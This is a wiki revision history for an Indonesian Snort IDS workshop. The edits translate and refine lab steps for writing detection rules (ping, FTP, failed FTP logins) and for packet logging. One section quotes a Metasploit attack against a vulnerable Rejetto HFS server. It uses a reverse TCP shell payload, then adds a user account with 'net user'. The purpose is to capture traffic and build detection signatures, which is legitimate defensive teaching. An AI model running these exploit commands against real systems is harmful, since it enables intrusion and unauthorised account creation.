SNORT-RULES: Contoh Materi Workshop - Revision history

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T20:27:24Z

Detect kegagalan ftp

← Older revision		Revision as of 20:27, 5 December 2018
Line 116:		Line 116:
	Tambahkan		Tambahkan

	alert tcp $HOME_NET 21 ~~-> any any~~ (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)		alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)

	Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,		Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T13:28:18Z

Detect kegagalan ftp

← Older revision		Revision as of 13:28, 5 December 2018
Line 116:		Line 116:
	Tambahkan		Tambahkan

	alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login ~~or password~~ incorrect"; sid:1000003; rev:1;)		alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)

	Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,		Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T13:27:15Z

Detect kegagalan ftp

← Older revision		Revision as of 13:27, 5 December 2018
Line 116:		Line 116:
	Tambahkan		Tambahkan

	alert tcp $HOME_NET 21 -> any any (msg:~~”FTP~~ failed ~~login”~~; content:~~”Login~~ or password ~~incorrect”~~; sid:1000003; rev:1;)		alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login or password incorrect"; sid:1000003; rev:1;)

	Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,		Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

Onnowpurbo: /* Detect kegagalan ftp */

2018-12-05T13:25:10Z

Detect kegagalan ftp

← Older revision		Revision as of 13:25, 5 December 2018
Line 109:		Line 109:
	===Detect kegagalan ftp===		===Detect kegagalan ftp===

			Deteksi kegagalan ftp.
	Edit		Edit

	sudo ~~gedit~~ /etc/snort/rules/local.rules		sudo vi /etc/snort/rules/local.rules

	Tambahkan		Tambahkan
Line 119:		Line 120:
	Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,		Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

			sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
	sudo snort -A console -q -c /etc/snort/snort.conf -i ~~eht0~~

	==Snort sebagai Packet Logger==		==Snort sebagai Packet Logger==

Onnowpurbo: /* Deteksi ftp */

2018-12-05T13:24:17Z

Deteksi ftp

← Older revision		Revision as of 13:24, 5 December 2018
Line 101:		Line 101:
	Maka akan tampak alert.		Maka akan tampak alert.

	Cek log, ~~jalankan~~		Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya,

	ls /var/log/snort		ls /var/log/snort

	~~Lihat salah satu folder & file misalnya,~~

	sudo ls /var/log/snort/192.168.x.x		sudo ls /var/log/snort/192.168.x.x
	sudo cat /var/log/snort/192.168.x.x/TCP:4561-21		sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

	~~File tersebut jika berbentuk bisa baca dengan wireshark~~

	===Detect kegagalan ftp===		===Detect kegagalan ftp===

Onnowpurbo: /* Deteksi ftp */

2018-12-05T13:22:32Z

Deteksi ftp

← Older revision		Revision as of 13:22, 5 December 2018
Line 84:		Line 84:
	Untuk belajar lebih lanjut, buat rule tambahan, edit		Untuk belajar lebih lanjut, buat rule tambahan, edit

	sudo ~~gedit~~ /etc/snort/rules/local.rules		sudo vi /etc/snort/rules/local.rules

	Masukan misalnya,		Masukan misalnya,

	alert tcp ~~192.168.x.x~~ any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)		alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)

	Ini untuk mendeteksi traffic FTP. Jalankan snort		Ini untuk mendeteksi traffic FTP. Jalankan snort

	sudo snort -A console -q -c /etc/snort/snort.conf -i ~~eth0~~ -K ascii		sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii

	Coba ftp dari Kali Linux dengan perintah		Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah

			apt install ftp
	ftp 192.168.x.x		ftp 192.168.x.x

Line 109:		Line 110:
	sudo cat /var/log/snort/192.168.x.x/TCP:4561-21		sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

	File tersebut jika berbentuk bisa baca dengan wireshark		File tersebut jika berbentuk bisa baca dengan wireshark

	===Detect kegagalan ftp===		===Detect kegagalan ftp===

Onnowpurbo: /* Deteksi ping */

2018-12-05T13:16:53Z

Deteksi ping

← Older revision		Revision as of 13:16, 5 December 2018
Line 59:		Line 59:
	* classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.		* classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.

	~~Jalankan~~ snort ~~configuration test lagi:~~		Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3

	sudo snort -T -i ~~eth0~~ -c /etc/snort/snort.conf		sudo snort -T -i enp0s3 -c /etc/snort/snort.conf

	~~Jika kita scroll, kita akan melihat ada satu rule tambahan yang sudah di load.~~

	Jalan kan snort dengan mode IDS, tampilkan alert di console:		Jalan kan snort dengan mode IDS, tampilkan alert di console:

	sudo snort -A console -q -c /etc/snort/snort.conf -i ~~eht0~~		sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3

	dimana		dimana
Line 81:		Line 79:

	Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.		Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.


	===Deteksi ftp===		===Deteksi ftp===

Onnowpurbo: /* Exercise 3: Building a custom rule from logged traffic */

2018-12-05T12:58:24Z

Exercise 3: Building a custom rule from logged traffic

← Older revision		Revision as of 12:58, 5 December 2018
Line 163:		Line 163:
	* jika di peroleh packet-nya, lakukan select Follow TCP Stream.		* jika di peroleh packet-nya, lakukan select Follow TCP Stream.

	==~~Exercise 3: Building a~~ custom rule ~~from logged~~ traffic==		==Membuat custom rule dari catatan traffic==

	~~We want to see an~~ alert ~~show up anytime Snort sees~~ “C:\Users\Administrator\Desktop\hfs2.3b>.” ~~Go to our~~ local.rules file (if you closed it, open it again as root using the same command as we did earlier), and add the following rule on a new line (note that we are escaping all the backslashes to make sure they are included in the content):		Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut

	alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)		alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)

	~~Save the file. Run Snort in~~ IDS ~~mode again:~~		Jalankan snort sebagai IDS

	sudo snort -A console -q -c /etc/snort/snort.conf -i eth0		sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

	~~Now go back to your~~ Kali Linux ~~VM. You should still be at the prompt for the rejetto exploit. Just enter exploit to run it again. Wait until you get command shell access and return to the Snort terminal on Ubuntu Server~~. ~~You should see that alerts have been generated based on our new rule:~~		Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.

	~~Hit Ctrl+C on Kali Linux terminal and enter y to exit out of the command shell. Then hit Ctrl+C on the Ubuntu Server terminal to stop Snort~~.		Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,

	In this case, we have some human-readable content to use in our rule. But that’s not always the case. Let’s modify our rule so it looks for content that is represented in hex format. First, in our local.rules file, copy our latest rule and paste it below in the new line. Now comment out the old rule and change the “rev” value for the new rule to “2.” See below.		* select packet
			* di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
	Bring up the Wireshark window with our capture again, with the same payload portion selected. Unfortunately, you cannot copy hex values directly from the Wireshark’s main window, but there is an easy solution that will work for us. With the needed content selected, right-click either the corresponding (highlighted) packet in the top pane or the highlighted “Data:” entry in the middle pane and select Copy -> Bytes -> Offset Hex~~. See below~~.		* paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan \| di ujung2.

	~~Now, in our~~ local.rules ~~file~~, ~~select the content argument (everything in between the quotation marks) in our new rule~~, ~~right-click and click Paste. Now carefully remove all extra spaces, line breaks, etc., leaving only the needed hex values. Then put the pipe symbols (~~\|~~) on both sides. Your finished rule should look like the image below~~.

	~~Save the file. Start Snort in IDS mode. Next, go to your Kali Linux VM and run the exploit again. Wait until you get the command shell and look at Snort output. You should see alerts generated.~~

	~~This time we see two alerts instead of four because we included the hex representation of the “>” symbol in the content, making the rule more specific.~~

	~~Press Ctrl+C to stop Snort. Then, on the Kali Linux VM, press Ctrl+C and enter y to exit out of the command shell and then type in exit to return to the regular prompt.~~

	~~This is just some of the basics of the Snort rule writing. Later we will look at some more advanced techniques.~~

	~~End of Lab~~

	==Referensi==		==Referensi==

	* http://resources.infosecinstitute.com/snort-rules-workshop-part-one/		* http://resources.infosecinstitute.com/snort-rules-workshop-part-one/

Onnowpurbo: /* Exercise 2: Snort as a Packet Logger */

2018-12-05T05:17:26Z

Exercise 2: Snort as a Packet Logger

← Older revision		Revision as of 05:17, 5 December 2018
Line 129:		Line 129:
	sudo snort -A console -q -c /etc/snort/snort.conf -i eht0		sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

	==~~Exercise 2:~~ Snort ~~as a~~ Packet Logger==		==Snort sebagai Packet Logger==

	~~With the rapidly changing attack landscape and vectors out there today~~, we might not even know what we should be looking for until we’ve seen the attack. Then perhaps, after examining that traffic, we could create a rule for that specific “new” attack. This is exactly how the default publicly available Snort rules are created. We’ll now run Snort in logging mode and see what we’re able to identify the traffic based on the attacks that we do.		Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah

	~~In this exercise will simulate an attack on our Windows Server while running Snort in packet logging mode. Then we will examine the logged packets to see if we can identify an attack signature.~~		sudo snort -dev -q -l /var/log/snort -i eth0

	~~Make sure that all 3 VMs (Ubuntu Server~~, ~~Windows Server~~, ~~and Kali Linux) are running. On your Kali Linux VM, enter the following into a terminal shell:~~		Masuk kali linux untuk menyerang, jalankan,

	msfconsole		msfconsole

	~~This will launch Metasploit Framework~~, a popular penetration testing platform. It will take a few seconds to load. Ignore the database connection error. Wait until you see the msf> prompt. Once there, enter the following series of commands:		Lakukan exploit misalnya,

	use exploit/windows/http/rejetto_hfs_exec		use exploit/windows/http/rejetto_hfs_exec
	set PAYLOAD windows/shell/reverse_tcp		set PAYLOAD windows/shell/reverse_tcp
	set LHOST 192.168.x.x (Kali Linux VM IP address)		set LHOST 192.168.x.x (Kali Linux IP address)
	set RHOST 192.168.x.x (~~Windows~~ Server ~~2012 R2 VM~~ IP address)		set RHOST 192.168.x.x (Server WIndows IP address)
	set RPORT 8081		set RPORT 8081

	Here we configured an exploit against a vulnerable version of Rejetto HFS HTTP File server that is running on our Windows Server 2012 R2 VM. Before running the exploit, we need to start Snort in packet logging mode. Go to your Ubuntu Server VM and enter the following command in a terminal shell:		Jika berhasil maka kita akan memperoleh shell, ketik

	~~sudo snort -dev -q -l /var/log/snort -i eth0~~

	~~You won’t see any output. Now go back to the msf exploit you have configured on the Kali Linux VM and enter exploit. If the exploit was successful, you should end up with a command~~ shell:

	~~Now that we have access to the system~~, ~~let’s do the following:~~

	~~Create a new user account:~~

	net user accountname P@ssword12 /ADD		net user accountname P@ssword12 /ADD

	~~Change directories to c:~~

	cd \		cd \

	~~Make a new directory that’s your name.~~

	mkdir yourname		mkdir yourname

	~~Now press~~ Ctrl+C ~~and answer~~ y ~~for “yes” to close your command~~ shell ~~access.~~		Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.

	Next, go to your Ubuntu Server VM and press Ctrl+C to stop Snort. Enter sudo wireshark into your terminal shell. In Wireshark, go to File->Open and browse to /var/log/snort. At this point we will have several snort.log.* files there. Select the one that was modified most recently and click Open.

	~~You should see quite a few packets captured.~~

	We need to find the ones related to our simulated attack. In Wireshark, select Edit->Find Packet. On the resulting dialog select the String radio button. Next, select Packet Bytes for the Search In criteria. Then for the search string, enter the username you created.

	Once you’ve got the search dialog configured, click the Find button. The search should find the packet that contains the string you searched for. Go ahead and select that packet. It will be the dark orange colored one. Right-click it and select Follow TCP Stream.

	~~This action should show you all the commands that were entered in that TCP session. This will include the creation of the account, as well as the other actions~~.

	~~After you’ve verified your results~~, go ahead and close the stream window. This should take you back to the packet you selected in the beginning. Now hit your up arrow until you see the ASCII part of your hex dump show “C:\Users\Administrator\Desktop\hfs2.3b>” in the bottom pane. See below.		Kemudian,

	~~Note~~ the ~~selected portion in the graphic above~~. ~~We will use this content to create an alert that will let us know when a command shell is being sent out to another host as a result of~~ the ~~Rejetto HFS exploit~~. ~~Minimize the Wireshark window (don’t close it just yet)~~.		* cek /var/log/snort
			* buka menggunakan wireshark, select Edit > Find Packet
			* select Packet Bytes for the Search In criteria.
			* search string, enter the username yang anda buat.
			* jika di peroleh packet-nya, lakukan select Follow TCP Stream.

	==Exercise 3: Building a custom rule from logged traffic==		==Exercise 3: Building a custom rule from logged traffic==

Onnowpurbo: /* Membuat local.rules Sederhana */

2018-12-05T05:10:13Z

Membuat local.rules Sederhana

← Older revision		Revision as of 05:10, 5 December 2018
Line 30:		Line 30:

	==Membuat local.rules Sederhana==		==Membuat local.rules Sederhana==

			===Deteksi ping===

	test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,		test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,
Line 79:		Line 81:

	Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.		Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.


			===Deteksi ftp===

	Untuk belajar lebih lanjut, buat rule tambahan, edit		Untuk belajar lebih lanjut, buat rule tambahan, edit
Line 98:		Line 103:
	Maka akan tampak alert.		Maka akan tampak alert.

	~~To make sure that the rule is not generating any false positives~~, ~~you can open another terminal shell on Ubuntu Server VM and try connecting to the same FTP server. You shouldn’t see any new alerts. Hit Ctrl+C to stop Snort.~~		Cek log, jalankan

	~~Now run the following command to do the listing of the Snort log directory:~~

	ls /var/log/snort		ls /var/log/snort

	~~You should see something similar to the following image:~~		Lihat salah satu folder & file misalnya,

	The snort.log.* file (you may have more than one if you generated more than one alert-generating activity earlier) is the .pcap log file. It cannot be read with a text editor. The IP address that you see (yours will be different from the image) is the source IP for the alert we just saw for our FTP rule. It is a directory. Let’s see what’s inside:

	sudo ls /var/log/snort/192.168.x.x		sudo ls /var/log/snort/192.168.x.x

	~~You can see there’s a file there named after the protocol (TCP) and the port numbers involved in the activity. We can read this file with a text editor or just use the cat command:~~

	sudo cat /var/log/snort/192.168.x.x/TCP:4561-21		sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

	We get the same information as we saw in the console output with some additional details. How about the .pcap files? We can use Wireshark, a popular network protocol analyzer, to examine those. Enter sudo wireshark ~~to start the program. Click OK to acknowledge the error/warning messages that pop up. Once at the Wireshark main window, go to File->Open.~~		File tersebut jika berbentuk bisa baca dengan wireshark

	~~Browse to the /var/log/snort directory, select the snort.log.* file and click Open.~~		===Detect kegagalan ftp===

	~~A lot more information here! Click to expand any of the items in the middle pane. Now we can look at the contents of each packet.~~		Edit

	~~Close Wireshark. We will use it a lot throughout the labs.~~

	For our next rule, let’s write one that looks for some content, in addition to protocols, IPs, and port numbers. First, we need to generate some activity that will provide us with the content needed for a rule. Launch your Windows Server 2012 R2 VM and log in with credentials provided at the beginning of this guide. This VM has an FTP server running on it. First, find out the IP address of your Windows Server 2102 R2 VM. You can do this by opening the command prompt from the desktop shortcut and entering ipconfig.

	Note the “IPv4 Address” value (yours may be different from the image). Now go back to your Ubuntu Server VM and enter ftp 192.168.x.x (using the IP address you just looked up). When prompted for Name and Password, just hit Enter. Examine the output.

	As we can see, entering invalid credentials results in a message that says “Login or password incorrect.” Now we have enough information to write our rule. Enter quit to exit FTP and return to prompt. Open our local.rules file again:

	sudo gedit /etc/snort/rules/local.rules		sudo gedit /etc/snort/rules/local.rules

	~~(Since we will be working with this file a lot, you may leave it open and start up a new terminal shell to enter commands.) Add the following rule on the new line:~~		Tambahkan

	alert tcp $HOME_NET 21 -> any any (msg:”FTP failed login”; content:”Login or password incorrect”; sid:1000003; rev:1;)		alert tcp $HOME_NET 21 -> any any (msg:”FTP failed login”; content:”Login or password incorrect”; sid:1000003; rev:1;)

	~~Notice that now we set the~~ HOME_NET ~~value as our source IP, because we will be looking for the outgoing FTP server responses~~. ~~Save the file~~. ~~Now let’s test the rule. Start Snort in IDS mode:~~		Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,


	sudo snort -A console -q -c /etc/snort/snort.conf -i eht0		sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

	No go to your Kali Linux VM and try connecting to the FTP server on Windows Server 2012 R2 (ftp 192.168.x.x), entering any values for Name and Password. Enter quit to return to prompt. Go back to the Ubuntu Server VM. You should see several alerts generated by both active rules that we have loaded into Snort. Hit CTRL+C to stop Snort.

	==Exercise 2: Snort as a Packet Logger==		==Exercise 2: Snort as a Packet Logger==